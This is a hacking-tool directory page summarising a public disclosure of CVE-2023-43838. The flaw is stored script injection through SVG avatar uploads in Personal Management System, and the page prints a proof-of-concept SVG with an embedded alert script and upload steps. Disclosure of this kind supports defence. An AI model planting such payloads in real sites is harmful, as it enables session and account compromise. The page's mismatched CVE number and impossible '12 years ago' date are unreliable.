Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-43838 — Public disclosure for CVE-2023-31584. | Kitploit
Tools/GitHubGitHub/rootd4ddy/cve-2023-43838
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubrootd4ddy/cve-2023-43838

CVE-2023-43838

Public disclosure for CVE-2023-31584.

View Repository
12 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-43838

An arbitrary file upload vulnerability in Personal Management System v1.4.64 allows attackers to execute arbitrary code via uploading a crafted SVG file into a user profile's avatar.

[Additional Information] 1.) Create alert.svg with the following content:

root@kitploit:~
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
       alert("huntr.dev");
    </script>
 </svg>

2.) Host .SVG on webserver.

3.) Upload .SVG as avatar image. 4.) When a user opens the avatar in a seperate tab, javascript stored in the .SVG file is executed.

References: https://github.com/Volmarg/personal-management-system

Download Tool